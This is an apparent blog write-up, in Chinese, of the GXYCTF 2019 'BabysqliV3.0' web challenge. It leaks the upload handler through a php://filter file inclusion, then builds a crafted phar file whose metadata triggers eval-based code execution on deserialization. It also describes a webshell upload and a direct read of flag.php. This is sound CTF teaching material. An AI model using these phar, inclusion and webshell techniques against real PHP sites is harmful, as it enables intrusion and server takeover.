[GXYCTF 2019]BabysqliV3.0

[GXYCTF 2019]BabysqliV3.0

首先弱密码 admin : password 进后台,发现是个文件上传页面

image-20211019151027056

文件包含

仔细观察URL可以发现URL后面传的参数fileupload,于是猜测后台是用文件包含的方法将upload.php 给包含进来,于是使用php伪协议对upload进行编码包含得到源码

?file=php://filter/convert.base64-encode/resource=upload
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<form action="" method="post" enctype="multipart/form-data">
    上传文件
    <input type="file" name="file" />
    <input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
    public $Filename;
    public $cmd;
    public $token;


    function __construct(){
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        $ext = ".txt";
        @mkdir($sandbox, 0777, true);
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        $this->token = $_SESSION['user'];
    }

    function upload($file){
        global $sandbox;
        global $ext;

        if(preg_match("[^a-z0-9]", $this->Filename)){
            $this->cmd = "die('illegal filename!');";
        }
        else{
            if($file['size'] > 1024){
                $this->cmd = "die('you are too big (′▽`〃)');";
            }
            else{
                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
            }
        }
    }

    function __toString(){
        global $sandbox;
        global $ext;
        // return $sandbox.$this->Filename.$ext;
        return $this->Filename;
    }

    function __destruct(){
        if($this->token != $_SESSION['user']){
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }
}

if(isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if(@file_get_contents($uploader)){
        echo "下面是你上传的文件:<br>".$uploader."<br>";
        echo file_get_contents($uploader);
    }
}

?>

phar 反序列化

审计 upload.php 代码:

$this->Filename = $_GET['name'];

可见 $this->Filename 是可控的,可以通过 name 参数以 get 方式得到

分析最后上传部分的代码

if(@file_get_contents($uploader)){
        echo "下面是你上传的文件:<br>".$uploader."<br>";
        echo file_get_contents($uploader);
    }

file_get_contents() 使 $uploader 通过__toString() 返回 $this->Filename$this->Filename 可控,因此此处 $this->Filename 用来触发 phar,__destruct() 方法内 eval($this->cmd); 进行 RCE

function __destruct(){
    if($this->token != $_SESSION['user']){
        $this->cmd = "die('check token falied!');";
    }
    eval($this->cmd);
}

__destruct() 方法中,想要 eval($this->cmd); 的前提条件是 $this->token$_SESSION['user'] 相等

function __construct(){
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        $ext = ".txt";
        @mkdir($sandbox, 0777, true);
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

再看__construct()方法,当我们不传name参数的时候,会将$this->Filename赋值为包含$_SESSION['user']值的文件名,因此我们可以先随便上传一个txt,在返回的目录中得到$_SESSION['user']的值。

image-20211019152725929

本地构造 phar 文件:

<?php
class Uploader
{
    public $Filename;
    public $cmd;
    public $token;
}

$o = new Uploader();
$o->Filename="test";
$o->cmd="highlight_file('/var/www/html/flag.php');";
$o->token="GXYe93c412534fbb9d4e65ba04305e25f7f";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

注意要将 php.ini 中的 phar.readonly 设置为 off

然后将生成的 phar 上传

image-20211019153139555

得到路径

/var/www/html/uploads/b0e76977dd2538c68d6d84909ae94b4f/GXYe93c412534fbb9d4e65ba04305e25f7f.txt

然后将这个路径带上 phar:// 作为 name 参数的值,再随意上传一个文件,因为 $this->Filename 被我们手工指定为 phar,触发了 phar 反序列化导致命令执行。

http://f7b2b257-3537-412c-a99b-27dff6281cd5.node4.buuoj.cn:81/home.php?file=upload&name=phar:///var/www/html/uploads/b0e76977dd2538c68d6d84909ae94b4f/GXYe93c412534fbb9d4e65ba04305e25f7f.txt
image-20211019153347399

值得一提的是,这里对name参数是有进行过滤的,其中就有.

if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

那为什么我们后面传的name参数里面有.但是没有被过滤呢?原因是它的.前面还有个空格导致它只能匹配上空格.,其他协议同理。

image-20211019153645169

由于出题人对.的过滤没写好,因此出现了2个非预期解。

直接getshell

upload() 内,只要文件小于 1024,就将上传文件到 $this->Filename

$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');"; 

那我们只要使 $this->Filename/var/www/html/uploads/1.php,然后上传一个 txt 的一句话即可 getshell

http://172.21.4.12:10041/upload.php?name=/var/www/html/uploads/1.php
image-20211019155126656

然后蚁剑连上去http://xxxxx/uploads/1.php即可。

直接读flag.php

if(isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if(@file_get_contents($uploader)){
        echo "下面是你上传的文件:<br>".$uploader."<br>";
        echo file_get_contents($uploader);
    }
}

上传后会显示出 $uploader 这个文件的内容,所以只要使 $this->Filenameflag.php 然后随便传个东西就会得到 flag 了。

参考资料

简析GXY_CTF “BabySqli v3.0”之Phar反序列化 5 min read

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇